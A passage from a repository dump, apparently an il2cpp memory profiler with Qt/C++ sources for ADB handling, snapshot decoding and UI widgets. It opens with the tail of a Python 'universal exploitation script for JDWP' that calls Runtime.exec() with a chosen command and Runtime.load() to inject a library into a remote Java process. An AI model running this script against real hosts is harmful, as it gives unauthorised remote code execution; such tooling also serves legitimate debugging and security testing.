buf[1:1+jdwp.objectIDSize]) 608 | 609 | if rt is None: 610 | print "[-] Failed to invoke Runtime.getRuntime()" 611 | return False 612 | print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) 613 | 614 | # 3. find exec() method 615 | execMeth = jdwp.get_method_by_name("exec") 616 | if execMeth is None: 617 | print ("[-] Cannot find method Runtime.exec()") 618 | return False 619 | print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) 620 | 621 | # 4. call exec() in this context with the alloc-ed string 622 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] 623 | buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) 624 | if buf[0] != chr(TAG_OBJECT): 625 | print ("[-] Unexpected returned type: expecting Object") 626 | return False 627 | 628 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 629 | print ("[+] Runtime.exec() successful, retId=%x" % retId) 630 | 631 | return True 632 | 633 | def getPackageName(jdwp, threadId): 634 | # 635 | # This function will invoke ActivityThread.currentApplication().getPackageName() 636 | # 637 | activityThreadClass = jdwp.get_class_by_name("Landroid/app/ActivityThread;") 638 | if activityThreadClass is None: 639 | print("[-] Cannot find class android.app.ActivityThread") 640 | return False 641 | 642 | contextWrapperClass = jdwp.get_class_by_name("Landroid/content/ContextWrapper;") 643 | if contextWrapperClass is None: 644 | print("[-] Cannot find class android.content.ContextWrapper") 645 | return False 646 | 647 | jdwp.get_methods(activityThreadClass["refTypeId"]) 648 | jdwp.get_methods(contextWrapperClass["refTypeId"]) 649 | 650 | getContextMeth = jdwp.get_method_by_name("currentApplication") 651 | if getContextMeth is None: 652 | print("[-] Cannot find method ActivityThread.currentApplication()") 653 | return False 654 | 655 | buf = jdwp.invokestatic( 656 | activityThreadClass["refTypeId"], threadId, getContextMeth["methodId"]) 657 | if buf[0] != chr(TAG_OBJECT): 658 | print("[-] Unexpected returned type: expecting Object") 659 | return False 660 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 661 | if rt is None: 662 | print "[-] Failed to invoke ActivityThread.currentApplication()" 663 | return False 664 | 665 | # 3. find getPackageName() method 666 | getPackageNameMeth = jdwp.get_method_by_name("getPackageName") 667 | if getPackageNameMeth is None: 668 | print("[-] Cannot find method ActivityThread.currentApplication().getPackageName()") 669 | return False 670 | 671 | # 4. call getPackageNameMeth() 672 | buf = jdwp.invoke(rt, threadId, contextWrapperClass["refTypeId"], getPackageNameMeth["methodId"]) 673 | if buf[0] != chr(TAG_STRING): 674 | print("[-] %s: Unexpected returned type: expecting String" % propStr) 675 | else: 676 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 677 | res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) 678 | print("[+] getPackageMethod(): '%s'" % (res)) 679 | 680 | return "%s" % res 681 | 682 | 683 | def runtime_load_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, library): 684 | # 685 | # This function will run Runtime.load() with library as a payload 686 | # 687 | 688 | # print("[+] Selected payload '%s'" % library) 689 | 690 | # 1. allocating string containing our command to exec() 691 | cmdObjIds = jdwp.createstring( library ) 692 | if len(cmdObjIds) == 0: 693 | print("[-] Failed to allocate library string") 694 | return False 695 | cmdObjId = cmdObjIds[0]["objId"] 696 | # print("[+] Command string object created id:%x" % cmdObjId) 697 | 698 | # 2. use context to get Runtime object 699 | buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) 700 | if buf[0] != chr(TAG_OBJECT): 701 | print("[-] Unexpected returned type: expecting Object") 702 | return False 703 | rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) 704 | 705 | if rt is None: 706 | print "[-] Failed to invoke Runtime.getRuntime()" 707 | return False 708 | # print("[+] Runtime.getRuntime() returned context id:%#x" % rt) 709 | 710 | # 3. find load() method 711 | loadMeth = jdwp.get_method_by_name("load") 712 | if loadMeth is None: 713 | print("[-] Cannot find method Runtime.load()") 714 | return False 715 | # print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"]) 716 | 717 | # 4. call exec() in this context with the alloc-ed string 718 | data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)] 719 | jdwp.invokeVoid(rt, threadId, runtimeClassId, loadMeth["methodId"], *data) 720 | 721 | print("[+] Runtime.load(%s) probably successful" % library) 722 | 723 | return True 724 | 725 | 726 | def str2fqclass(s): 727 | i = s.rfind('.') 728 | if i == -1: 729 | print("Cannot parse path") 730 | sys.exit(1) 731 | 732 | method = s[i:][1:] 733 | classname = 'L' + s[:i].replace('.', '/') + ';' 734 | return classname, method 735 | 736 | 737 | if __name__ == "__main__": 738 | parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", 739 | formatter_class=argparse.ArgumentDefaultsHelpFormatter ) 740 | 741 | parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) 742 | parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") 743 | 744 | parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", 745 | default="java.net.ServerSocket.accept", help="Specify full path to method to break on") 746 | parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", 747 | help="Specify command to execute remotely") 748 | parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME", 749 | help="Specify library to inject into process load") 750 | 751 | args = parser.parse_args() 752 | 753 | classname, meth = str2fqclass(args.break_on) 754 | setattr(args, "break_on_class", classname) 755 | setattr(args, "break_on_method", meth) 756 | 757 | retcode = 0 758 | 759 | try: 760 | cli = JDWPClient(args.target, args.port) 761 | cli.start() 762 | 763 | if runtime_exec(cli, args) == False: 764 | print ("[-] Exploit failed") 765 | retcode = 1 766 | 767 | except KeyboardInterrupt: 768 | print ("[+] Exiting on user's request") 769 | 770 | except Exception as e: 771 | print ("[-] Exception: %s" % e) 772 | traceback.print_exc() 773 | retcode = 1 774 | cli = None 775 | 776 | finally: 777 | if cli: 778 | cli.leave() 779 | 780 | sys.exit(retcode) 781 | -------------------------------------------------------------------------------- /res/btn_callstacks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_callstacks.png -------------------------------------------------------------------------------- /res/btn_capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_capture.png -------------------------------------------------------------------------------- /res/btn_next.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_next.png -------------------------------------------------------------------------------- /res/btn_open.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_open.png -------------------------------------------------------------------------------- /res/btn_previous.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_previous.png -------------------------------------------------------------------------------- /res/btn_save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_save.png -------------------------------------------------------------------------------- /res/btn_stat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_stat.png -------------------------------------------------------------------------------- /res/btn_treemap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_treemap.png -------------------------------------------------------------------------------- /res/btn_visualize.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/btn_visualize.png -------------------------------------------------------------------------------- /res/devices.icns: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.icns -------------------------------------------------------------------------------- /res/devices.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.ico -------------------------------------------------------------------------------- /res/devices.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/devices.png -------------------------------------------------------------------------------- /res/icon.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | devices.ico 4 | devices.icns 5 | 6 | 7 | btn_callstacks.png 8 | btn_open.png 9 | btn_save.png 10 | btn_stat.png 11 | btn_treemap.png 12 | btn_visualize.png 13 | btn_capture.png 14 | btn_next.png 15 | btn_previous.png 16 | 17 | 18 | -------------------------------------------------------------------------------- /res/images/memperf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haitor888/il2cppMemoryProfiler/91ddf6f7bf491392a85088dc6a24412f75cc1851/res/images/memperf.png -------------------------------------------------------------------------------- /src/adbprocess.cpp: -------------------------------------------------------------------------------- 1 | #include "adbprocess.h" 2 | #include 3 | 4 | AdbProcess::AdbProcess(QObject* parent) : QObject(parent) { 5 | process_ = new QProcess(this); 6 | Connect(); 7 | } 8 | 9 | AdbProcess::~AdbProcess() { 10 | Disconnect(); 11 | if (process_->state() != QProcess::ProcessState::NotRunning) { 12 | process_->kill(); 13 | process_->close(); 14 | } 15 | } 16 | 17 | void AdbProcess::Connect() { 18 | if (connected_) 19 | return; 20 | connect(process_, &QProcess::errorOccurred, this, &AdbProcess::AdbProcessErrorOccurred); 21 | connect(process_, QOverload::of(&QProcess::finished), this, &AdbProcess::AdbProcessFinished); 22 | connected_ = true; 23 | } 24 | 25 | void AdbProcess::Disconnect() { 26 | if (!connected_) 27 | return; 28 | disconnect(process_, &QProcess::errorOccurred, this, &AdbProcess::AdbProcessErrorOccurred); 29 | disconnect(process_, QOverload::of(&QProcess::finished), this, &AdbProcess::AdbProcessFinished); 30 | connected_ = false; 31 | } 32 | 33 | void AdbProcess::AdbProcessFinished(int exitCode, QProcess::ExitStatus exitStatus) { 34 | if (exitCode != 0 || exitStatus == QProcess::ExitStatus::CrashExit) { 35 | emit ProcessErrorOccurred(); 36 | running_ = false; 37 | hasErrors_ = true; 38 | return; 39 | } 40 | hasErrors_ = false; 41 | running_ = false; 42 | OnProcessFinihed(); // handle returned data 43 | emit ProcessFinished(this); // then process the handled data 44 | } 45 | 46 | void AdbProcess::AdbProcessErrorOccurred(QProcess::ProcessError) { 47 | OnProcessErrorOccurred(); 48 | running_ = false; 49 | hasErrors_ = true; 50 | emit ProcessErrorOccurred(); 51 | } 52 | -------------------------------------------------------------------------------- /src/detailswidget.cpp: -------------------------------------------------------------------------------- 1 | #include "detailswidget.h" 2 | #include "ui_detailswidget.h" 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "umpcrawler.h" 10 | #include "umpmodel.h" 11 | 12 | DetailsWidget::DetailsWidget(CrawledMemorySnapshot* snapshot, QWidget *parent) : 13 | QWidget(parent), ui(new Ui::DetailsWidget), 14 | snapshot_(snapshot), primitiveValueReader_(new PrimitiveValueReader(snapshot)) { 15 | ui->setupUi(this); 16 | ShowThing(nullptr, ThingType::NONE); 17 | connect(ui->fieldsWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked); 18 | connect(ui->refsListWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked); 19 | connect(ui->refbysListWidget, &QListWidget::itemDoubleClicked, this, &DetailsWidget::OnListItemDoubleClicked); 20 | } 21 | 22 | DetailsWidget::~DetailsWidget() { 23 | delete ui; 24 | } 25 | 26 | void DetailsWidget::ShowThing(ThingInMemory* thing, ThingType type) { 27 | if (type == ThingType::MANAGED) { 28 | auto managedObj = static_cast(thing); 29 | auto managedType = managedObj->typeDescription_; 30 | ui->managedType->setText(managedType->name_); 31 | ui->managedAddr->setText(QString("%1").arg(managedObj->address_, 0, 16)); 32 | ui->managedSize->setText(sizeToString(managedObj->size_)); 33 | ui->valueListWidget->clear(); 34 | if (managedType->name_ == "System.String") { 35 | ui->valueListWidget->addItem( 36 | CrawledMemorySnapshot::ReadString( 37 | snapshot_, CrawledMemorySnapshot::FindInHeap(snapshot_, managedObj->address_))); 38 | } else if (managedType->IsArray()) { 39 | int elementCount = CrawledMemorySnapshot::ReadArrayLength(snapshot_, managedObj->address_, managedType); 40 | int rank = managedType->ArrayRank(); 41 | if (rank != 1) { 42 | ui->valueListWidget->addItem("Can't display multi-dimension arrays yet."); 43 | } else if (snapshot_->typeDescriptions_[managedType->baseOrElementTypeIndex_].IsValueType()) { 44 | ui->valueListWidget->addItem("Can't display valueType arrays yet."); 45 | } else { 46 | std::vector pointers; 47 | for (int i = 0; i < elementCount; i++) { 48 | pointers.push_back( 49 | primitiveValueReader_->ReadPointer( 50 | managedObj->address_ + static_cast(snapshot_->runtimeInformation_.arrayHeaderSize) + 51 | static_cast(static_cast(i) * snapshot_->runtimeInformation_.pointerSize))); 52 | } 53 | DrawLinks(ui->valueListWidget, pointers); 54 | } 55 | } 56 | ui->valueListWidget->setVisible(ui->valueListWidget->count() > 0); 57 | ui->valuesLabel->setVisible(ui->valueListWidget->isVisible()); 58 | SizeToContent(ui->valueListWidget); 59 | ui->fieldsWidget->clear(); 60 | DrawFields(ui->fieldsWidget, managedObj); 61 | ui->fieldsWidget->setVisible(ui->fieldsWidget->count() > 0); 62 | ui->fieldsLabel->setVisible(ui->fieldsWidget->isVisible()); 63 | SizeToContent(ui->fieldsWidget); 64 | ui->refbysListWidget->clear(); 65 | DrawLinks(ui->refbysListWidget, managedObj->referencedBy_); 66 | ui->refbysListWidget->setVisible(ui->refbysListWidget->count() > 0); 67 | ui->refbysLabel->setVisible(ui->refbysListWidget->isVisible()); 68 | SizeToContent(ui->refbysListWidget); 69 | ui->refsLabel->setVisible(false); 70 | ui->refsListWidget->setVisible(false); 71 | ui->stackedWidget->setCurrentIndex(1); 72 | return; 73 | } else if (type == ThingType::STATIC) { 74 | auto staticObj = static_cast(thing); 75 | ui->staticsType->setText(staticObj->typeDescription_->name_); 76 | ui->staticsSize->setText(sizeToString(staticObj->size_)); 77 | ui->fieldsWidget->clear(); 78 | BytesAndOffset bo; 79 | bo.bytes_ = staticObj->typeDescription_->statics_; 80 | bo.offset_ = 0; 81 | bo.pointerSize_ = snapshot_->runtimeInformation_.pointerSize; 82 | DrawFields(ui->fieldsWidget, staticObj->typeDescription_, bo, true); 83 | ui->fieldsWidget->setVisible(ui->fieldsWidget->count() > 0); 84 | ui->fieldsLabel->setVisible(ui->fieldsWidget->isVisible()); 85 | SizeToContent(ui->fieldsWidget); 86 | ui->refbysListWidget->clear(); 87 | DrawLinks(ui->refbysListWidget, staticObj->referencedBy_); 88 | ui->refbysListWidget->setVisible(ui->refbysListWidget->count() > 0); 89 | ui->refbysLabel->setVisible(ui->refbysListWidget->isVisible()); 90 | SizeToContent(ui->refbysListWidget); 91 | ui->refsListWidget->clear(); 92 | DrawLinks(ui->refsListWidget, staticObj->references_); 93 | ui->refsListWidget->setVisible(ui->refsListWidget->count() > 0); 94 | ui->refsLabel->setVisible(ui->refsListWidget->isVisible()); 95 | SizeToContent(ui->refsListWidget); 96 | ui->stackedWidget->setCurrentIndex(2); 97 | ui->valueListWidget->setVisible(false); 98 | ui->valuesLabel->setVisible(false); 99 | return; 100 | } 101 | ui->fieldsWidget->setVisible(false); 102 | ui->fieldsLabel->setVisible(false); 103 | ui->valueListWidget->setVisible(false); 104 | ui->valuesLabel->setVisible(false); 105 | ui->refbysListWidget->setVisible(false); 106 | ui->refbysLabel->setVisible(false); 107 | ui->refsLabel->setVisible(false); 108 | ui->refsListWidget->setVisible(false); 109 | ui->stackedWidget->setCurrentIndex(0); 110 | } 111 | 112 | void DetailsWidget::OnListItemDoubleClicked(QListWidgetItem *item) { 113 | if (!item->data(Qt::UserRole).isValid()) 114 | return; 115 | auto index = item->data(Qt::UserRole).toUInt(); 116 | if (index != std::numeric_limits::max()) 117 | emit ThingSelected(index); 118 | } 119 | 120 | void DetailsWidget::SizeToContent(QListWidget* widget) { 121 | auto extra = widget->horizontalScrollBar()->isVisible() ? widget->horizontalScrollBar()->height() : 0; 122 | widget->setMinimumHeight(std::min(widget->sizeHintForRow(0) * widget->model()->rowCount() + extra + 10, 200)); 123 | widget->updateGeometry(); 124 | } 125 | 126 | void DetailsWidget::DrawLinks(QListWidget* widget, const std::vector& pointers) { 127 | std::vector things(pointers.size()); 128 | for (std::size_t i = 0; i < pointers.size(); i++) 129 | things[i] = GetThingAt(pointers[i]); 130 | DrawLinks(widget, things); 131 | } 132 | 133 | void DetailsWidget::DrawLinks(QListWidget* widget, const std::vector things) { 134 | for (auto thing : things) { 135 | auto caption = thing == nullptr ? "nullptr" : thing->caption_; 136 | std::uint64_t addr = 0; 137 | if (thing && thing->type() == ThingType::MANAGED) { 138 | auto managed = static_cast(thing); 139 | if (managed != nullptr && managed->typeDescription_->name_ == "System.String") 140 | caption = CrawledMemorySnapshot::ReadString(snapshot_, CrawledMemorySnapshot::FindInHeap(snapshot_, managed->address_)); 141 | addr = managed->address_; 142 | } 143 | auto widgetItem = new QListWidgetItem(); 144 | widgetItem->setData(Qt::DisplayRole, caption); 145 | widgetItem->setData(Qt::UserRole, thing != nullptr ? thing->index_ : std::numeric_limits::max()); 146 | widget->addItem(widgetItem); 147 | } 148 | } 149 | 150 | ThingInMemory* DetailsWidget::GetThingAt(std::uint64_t address) { 151 | if (managedObjCache_.find(address) == managedObjCache_.end()) { 152 | ThingInMemory* thing = nullptr; 153 | for (auto& managed : snapshot_->managedObjects_) { 154 | if (managed.address_ == address) { 155 | thing = &managed; 156 | break; 157 | } 158 | } 159 | managedObjCache_[address] = thing; 160 | } 161 | return managedObjCache_[address]; 162 | } 163 | 164 | void DetailsWidget::DrawFields(QListWidget* widget, TypeDescription* type, const BytesAndOffset& bo, bool useStatics) { 165 | std::vector fields; 166 | CrawledMemorySnapshot::AllFieldsOf(snapshot_, type, useStatics ? FieldFindOptions::OnlyStatic : FieldFindOptions::OnlyInstance, fields); 167 | for (std::size_t i = 0; i < fields.size(); i++) { 168 | auto field = fields[i]; 169 | DrawValueFor(widget, field, bo.Add(field->offset_)); 170 | } 171 | } 172 | 173 | void DetailsWidget::DrawFields(QListWidget* widget, ManagedObject* mo) { 174 | if (mo->typeDescription_->IsArray()) 175 | return; 176 | DrawFields(widget, mo->typeDescription_, CrawledMemorySnapshot::FindInHeap(snapshot_, mo->address_)); 177 | } 178 | 179 | void DetailsWidget::DrawValueFor(QListWidget* widget, const FieldDescription* field, const BytesAndOffset& bo) { 180 | auto type = &snapshot_->typeDescriptions_[field->typeIndex_]; 181 | if (type->name_ == "System.Int32") { 182 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 183 | } 184 | else if (type->name_ == "System.Int64") { 185 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 186 | } 187 | else if (type->name_ == "System.UInt32") { 188 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 189 | } 190 | else if (type->name_ == "System.UInt64") { 191 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 192 | } 193 | else if (type->name_ == "System.Int16") { 194 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 195 | } 196 | else if (type->name_ == "System.UInt16") { 197 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 198 | } 199 | else if (type->name_ == "System.Byte") { 200 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 201 | } 202 | else if (type->name_ == "System.SByte") { 203 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 204 | } 205 | else if (type->name_ == "System.Char") { 206 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 207 | } 208 | else if (type->name_ == "System.Boolean") { 209 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadBool(bo))); 210 | } 211 | else if (type->name_ == "System.Single") { 212 | widget->addItem(field->name_ + QString(": %1").arg(static_cast(primitiveValueReader_->ReadInteger(bo)))); 213 | } 214 | else if (type->name_ == "System.Double") { 215 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadInteger(bo))); 216 | } 217 | else if (type->name_ == "System.IntPtr") { 218 | widget->addItem(field->name_ + QString(": %1").arg(primitiveValueReader_->ReadPointer(bo), 0, 16)); 219 | } else { 220 | if (type->IsValueType()) { 221 | DrawFields(widget, type, bo); 222 | } else { 223 | auto thing = GetThingAt(bo.ReadPointer()); 224 | if (thing == nullptr) { 225 | widget->addItem(field->name_ + ": nullptr"); 226 | } else { 227 | DrawLinks(widget, { thing }); 228 | } 229 | } 230 | } 231 | } 232 | -------------------------------------------------------------------------------- /src/globalLog.cpp: -------------------------------------------------------------------------------- 1 | #include "globalLog.h" 2 | #include 3 | #include 4 | 5 | GlobalLogDef::GlobalLogDef() 6 | { 7 | 8 | } 9 | 10 | void GlobalLogDef::writeToFile(QString &str ,int type){ 11 | QFile file("logfile.txt"); 12 | file.open(QIODevice::ReadWrite | QIODevice::Append); 13 | QTextStream stream(&file); 14 | if(type == 0){ 15 | 16 | stream << str << ""; 17 | } 18 | else{ 19 | stream << str << "\r\n"; 20 | 21 | } 22 | 23 | file.flush(); 24 | file.close(); 25 | 26 | 27 | } 28 | void GlobalLogDef::writeToFile(int &str ,int type){ 29 | QFile file("logfile.txt"); 30 | file.open(QIODevice::ReadWrite | QIODevice::Append); 31 | QTextStream stream(&file); 32 | if(type == 0){ 33 | 34 | stream << str << ""; 35 | } 36 | else{ 37 | stream << str << "\r\n"; 38 | 39 | } 40 | 41 | file.flush(); 42 | file.close(); 43 | 44 | 45 | } 46 | 47 | QString GlobalLogDef::log = "FLUSH"; 48 | -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include "mainwindow.h" 2 | #include 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | QApplication a(argc, argv); 7 | MainWindow w; 8 | w.show(); 9 | 10 | return a.exec(); 11 | } 12 | -------------------------------------------------------------------------------- /src/remoteprocess.cpp: -------------------------------------------------------------------------------- 1 | #include "remoteprocess.h" 2 | 3 | #include "umpmemory.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | void Il2CppFreeMemorySnapshot(Il2CppManagedMemorySnapshot* snapshot) { 14 | if (snapshot->heap.sectionCount > 0) { 15 | for (uint32_t i = 0; i < snapshot->heap.sectionCount; i++) { 16 | delete[] snapshot->heap.sections[i].sectionBytes; 17 | } 18 | delete[] snapshot->heap.sections; 19 | snapshot->heap.sectionCount = 0; 20 | snapshot->heap.sections = nullptr; 21 | } 22 | if (snapshot->stacks.stackCount > 0) { 23 | for (uint32_t i = 0; i < snapshot->stacks.stackCount; i++) { 24 | delete[] snapshot->stacks.stacks[i].sectionBytes; 25 | } 26 | delete[] snapshot->stacks.stacks; 27 | snapshot->stacks.stackCount = 0; 28 | snapshot->stacks.stacks = nullptr; 29 | } 30 | if (snapshot->gcHandles.trackedObjectCount > 0) { 31 | delete[] snapshot->gcHandles.pointersToObjects; 32 | snapshot->gcHandles.pointersToObjects = nullptr; 33 | snapshot->gcHandles.trackedObjectCount = 0; 34 | } 35 | if (snapshot->metadata.typeCount > 0) { 36 | for (uint32_t i = 0; i < snapshot->metadata.typeCount; i++) { 37 | auto& type = snapshot->metadata.types[i]; 38 | if ((type.flags & kArray) == 0) { 39 | for (uint32_t j = 0; j < type.fieldCount; j++) { 40 | auto& field = type.fields[j]; 41 | delete[] field.name; 42 | } 43 | delete[] type.fields; 44 | delete[] type.statics; 45 | } 46 | delete[] type.name; 47 | delete[] type.assemblyName; 48 | } 49 | delete[] snapshot->metadata.types; 50 | snapshot->metadata.types = nullptr; 51 | snapshot->metadata.typeCount = 0; 52 | } 53 | } 54 | 55 | #define BUFFER_SIZE 65535 56 | 57 | RemoteProcess::RemoteProcess(QObject* parent) 58 | : QObject(parent), socket_(new QTcpSocket(this)) { 59 | buffer_ = new char[BUFFER_SIZE]; 60 | compressBuffer_ = new char[compressBufferSize_]; 61 | snapShot_ = new Il2CppManagedMemorySnapshot(); 62 | socket_->setReadBufferSize(BUFFER_SIZE); 63 | connect(socket_, &QTcpSocket::readyRead, this, &RemoteProcess::OnDataReceived); 64 | connect(socket_, &QTcpSocket::connected, this, &RemoteProcess::OnConnected); 65 | connect(socket_, &QTcpSocket::disconnected, this, &RemoteProcess::OnDisconnected); 66 | } 67 | 68 | RemoteProcess::~RemoteProcess(){ 69 | delete[] buffer_; 70 | delete[] compressBuffer_; 71 | Il2CppFreeMemorySnapshot(snapShot_); 72 | delete snapShot_; 73 | } 74 | 75 | void RemoteProcess::ConnectToServer(int port) { 76 | QProcess process; 77 | QStringList arguments; 78 | arguments << "forward" << "tcp:" + QString::number(port) << "tcp:7100"; 79 | process.setProgram(execPath_); 80 | process.setArguments(arguments); 81 | process.start(); 82 | if (!process.waitForStarted()) { 83 | emit ConnectionLost(); 84 | return; 85 | } 86 | if (!process.waitForFinished()) { 87 | emit ConnectionLost(); 88 | return; 89 | } 90 | connectingServer_ = true; 91 | socket_->connectToHost("127.0.0.1", static_cast(port)); 92 | } 93 | 94 | void RemoteProcess::Disconnect() { 95 | socket_->close(); 96 | packetSize_ = 0; 97 | } 98 | 99 | void RemoteProcess::Send(UMPMessageType type) { 100 | auto typeData = static_cast(type); 101 | socket_->write(reinterpret_cast(&typeData), 4); 102 | } 103 | 104 | void RemoteProcess::Interpret(const QByteArray& bytes) { 105 | auto packetSize = bytes.size(); 106 | if (!DecodeData(bytes.data(), static_cast(packetSize))) { 107 | qDebug() << "Decode failed"; 108 | Il2CppFreeMemorySnapshot(snapShot_); 109 | return; 110 | } 111 | qDebug() << "Snapshot heaps: " << snapShot_->heap.sectionCount << " stacks " << snapShot_->stacks.stackCount << " types " << 112 | snapShot_->metadata.typeCount << " gcHandles " << snapShot_->gcHandles.trackedObjectCount; 113 | emit DataReceived(); 114 | } 115 | 116 | bool RemoteProcess::DecodeData(const char* data, size_t size) { 117 | Il2CppFreeMemorySnapshot(snapShot_); 118 | if (size < 8) 119 | return false; 120 | bufferreader reader(data, size); 121 | std::uint32_t magic, version; 122 | reader >> magic >> version; 123 | if (magic != kSnapshotMagicBytes) { 124 | qDebug() << "Invalide MagicBytes!" << magic << kSnapshotMagicBytes; 125 | return false; 126 | } 127 | if (version > kSnapshotFormatVersion) { 128 | qDebug() << "Version Missmatch!"; 129 | return false; 130 | } 131 | while (!reader.atEnd()) { 132 | reader >> magic; 133 | if (magic == kSnapshotHeapMagicBytes) { 134 | reader >> snapShot_->heap.sectionCount; 135 | snapShot_->heap.sections = new Il2CppManagedMemorySection[snapShot_->heap.sectionCount]; 136 | for (std::uint32_t i = 0; i < snapShot_->heap.sectionCount; i++) { 137 | auto& section = snapShot_->heap.sections[i]; 138 | reader >> section.sectionStartAddress >> section.sectionSize; 139 | section.sectionBytes = new std::uint8_t[section.sectionSize]; 140 | reader.read(reinterpret_cast(section.sectionBytes), section.sectionSize); 141 | } 142 | } else if (magic == kSnapshotStacksMagicBytes) { 143 | reader >> snapShot_->stacks.stackCount; 144 | snapShot_->stacks.stacks = new Il2CppManagedMemorySection[snapShot_->stacks.stackCount]; 145 | for (std::uint32_t i = 0; i < snapShot_->stacks.stackCount; i++) { 146 | auto& section = snapShot_->stacks.stacks[i]; 147 | reader >> section.sectionStartAddress >> section.sectionSize; 148 | section.sectionBytes = new std::uint8_t[section.sectionSize]; 149 | reader.read(reinterpret_cast(section.sectionBytes), section.sectionSize); 150 | } 151 | } else if (magic == kSnapshotMetadataMagicBytes) { 152 | reader >> snapShot_->metadata.typeCount; 153 | snapShot_->metadata.types = new Il2CppMetadataType[snapShot_->metadata.typeCount]; 154 | for (std::uint32_t i = 0; i < snapShot_->metadata.typeCount; i++) { 155 | auto& type = snapShot_->metadata.types[i]; 156 | std::uint32_t flags; 157 | reader >> flags >> type.baseOrElementTypeIndex; 158 | type.flags = static_cast(flags); 159 | if ((type.flags & Il2CppMetadataTypeFlags::kArray) == 0) { 160 | reader >> type.fieldCount; 161 | type.fields = new Il2CppMetadataField[type.fieldCount]; 162 | for (uint32_t j = 0; j < type.fieldCount; j++) { 163 | auto& field = type.fields[j]; 164 | reader >> field.offset >> field.typeIndex >> field.name >> field.isStatic; 165 | } 166 | reader >> type.staticsSize; 167 | type.statics = new std::uint8_t[type.staticsSize]; 168 | reader.read(reinterpret_cast(type.statics), type.staticsSize); 169 | } else { 170 | type.statics = nullptr; 171 | type.staticsSize = 0; 172 | type.fields = nullptr; 173 | type.fieldCount = 0; 174 | } 175 | reader >> type.name >> type.assemblyName >> type.typeInfoAddress >> type.size; 176 | } 177 | } else if (magic == kSnapshotGCHandlesMagicBytes) { 178 | reader >> snapShot_->gcHandles.trackedObjectCount; 179 | snapShot_->gcHandles.pointersToObjects = new std::uint64_t[snapShot_->gcHandles.trackedObjectCount]; 180 | for (std::uint32_t i = 0; i < 